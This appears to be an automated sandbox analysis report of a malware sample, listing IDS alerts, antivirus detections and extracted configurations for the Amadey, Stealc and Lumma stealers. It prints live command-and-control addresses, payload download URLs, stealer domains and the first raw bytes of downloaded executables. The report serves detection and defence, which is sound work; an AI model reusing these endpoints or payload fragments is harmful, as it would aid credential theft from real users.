2024-12-10T05:10:25.379608+0100	2057921	1	Domain Observed Used for C2 Detected	192.168.2.5	54969	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:36.605182+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49895	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:36.484477+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49895	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:36.925420+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49895	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:38.333505+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49895	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:37.046455+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49895	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:42.102221+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49913	104.21.64.1	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:35.997542+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49895	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:05.983317+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49821	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:16.207393+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49828	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:10.445728+0100	2803305	3	Unknown Traffic	192.168.2.5	49833	31.41.244.11	80	TCP
2024-12-10T05:10:19.010506+0100	2803305	3	Unknown Traffic	192.168.2.5	49855	185.215.113.16	80	TCP
2024-12-10T05:10:27.913288+0100	2803305	3	Unknown Traffic	192.168.2.5	49874	185.215.113.16	80	TCP
2024-12-10T05:10:36.505137+0100	2803305	3	Unknown Traffic	192.168.2.5	49901	185.215.113.16	80	TCP
2024-12-10T05:10:43.766167+0100	2803305	3	Unknown Traffic	192.168.2.5	49921	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:39.710111+0100	2803304	3	Unknown Traffic	192.168.2.5	49895	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://atten-supporse.biz/apite	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/random.exek	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpA.	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/unique2/random.exeEi	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/unique2/random.exeed	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apipy	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 79ddad050f.exe.5228.8.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["formy-spill.biz", "se-blurry.biz", "dwell-exclaim.biz", "print-vexer.biz", "covery-mover.biz", "impend-differ.biz", "dare-curbys.biz", "zinc-sneark.biz", "atten-supporse.biz"], "Build id": "LOGS11--LiveTraffic"}
Source: e051bdf457.exe.3716.9.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Multi AV Scanner detection for domain / URL

Source: https://atten-supporse.biz/apite

Virustotal: Detection: 18%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 63%

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 58%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_004035B0 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		7_2_004035B0
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_04B73817 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		7_2_04B73817

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:50042 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 734386a52c.exe, 0000001E.00000002.3260064307.0000000000AB2000.00000040.00000001.01000000.00000014.sdmp, 734386a52c.exe, 0000001E.00000003.3184731936.00000000048A0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_004176E7 FindFirstFileExW,	7_2_004176E7
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_10007EA9 FindFirstFileExW,	7_2_10007EA9
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_04B8794E FindFirstFileExW,	7_2_04B8794E

Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 28MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 192MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49821 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49828
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49849 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.5:54969 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49872 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49868 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49879 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49887 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49894 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49893 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49895 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49895 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49906 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49895
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49895 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49895
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49913 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49914 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49934 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49937 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49915 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49895 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49948 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49967 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49972 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49993 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:50042 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:50041 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49966 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49879 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49879 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49915 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49915 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49913 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49934 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49934 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49872 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49872 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49967 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50041 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50041 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50042 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50042 -> 104.21.64.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: atten-supporse.biz
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 10 Dec 2024 04:10:10 GMTContent-Type: application/octet-streamContent-Length: 1990144Last-Modified: Tue, 10 Dec 2024 03:19:19 GMTConnection: keep-aliveETag: "6757b337-1e5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 21 4a f8 9d 40 24 ab 9d 40 24 ab 9d 40 24 ab 83 12 a0 ab 81 40 24 ab 83 12 b1 ab 89 40 24 ab 83 12 a7 ab c5 40 24 ab ba 86 5f ab 94 40 24 ab 9d 40 25 ab f6 40 24 ab 83 12 ae ab 9c 40 24 ab 83 12 b0 ab 9c 40 24 ab 83 12 b5 ab 9c 40 24 ab 52 69 63 68 9d 40 24 ab 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0c de dd 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 b0 01 00 00 00 00 00 00 60 87 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 90 87 00 00 04 00 00 a6 17 1f 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5a 10 42 00 6e 00 00 00 00 e0 40 00 68 21 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 9a 86 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 40 00 00 10 00 00 00 54 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 68 21 01 00 00 e0 40 00 00 94 00 00 00 64 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 42 00 00 02 00 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 20 42 00 00 02 00 00 00 fa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 68 76 71 69 6a 6f 76 00 40 1b 00 00 10 6c 00 00 3a 1b 00 00 fc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6b 77 6e 69 66 6c 74 00 10 00 00 00 50 87 00 00 06 00 00 00 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 87 00 00 22 00 00 00 3c 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 10 Dec 2024 04:10:18 GMTContent-Type: application/octet-streamContent-Length: 1832448Last-Modified: Tue, 10 Dec 2024 03:29:09 GMTConnection: keep-aliveETag: "6757b585-1bf600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 ea b9 55 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 dc 03 00 00 b2 00 00 00 00 00 00 00 c0 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 48 00 00 04 00 00 e1 06 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 40 05 00 70 00 00 00 00 30 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 20 05 00 00 10 00 00 00 42 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 30 05 00 00 04 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 40 05 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 29 00 00 50 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 62 6a 67 72 62 6b 62 00 80 19 00 00 30 2f 00 00 76 19 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 69 71 73 70 6a 66 6a 00 10 00 00 00 b0 48 00 00 04 00 00 00 d0 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 48 00 00 22 00 00 00 d4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 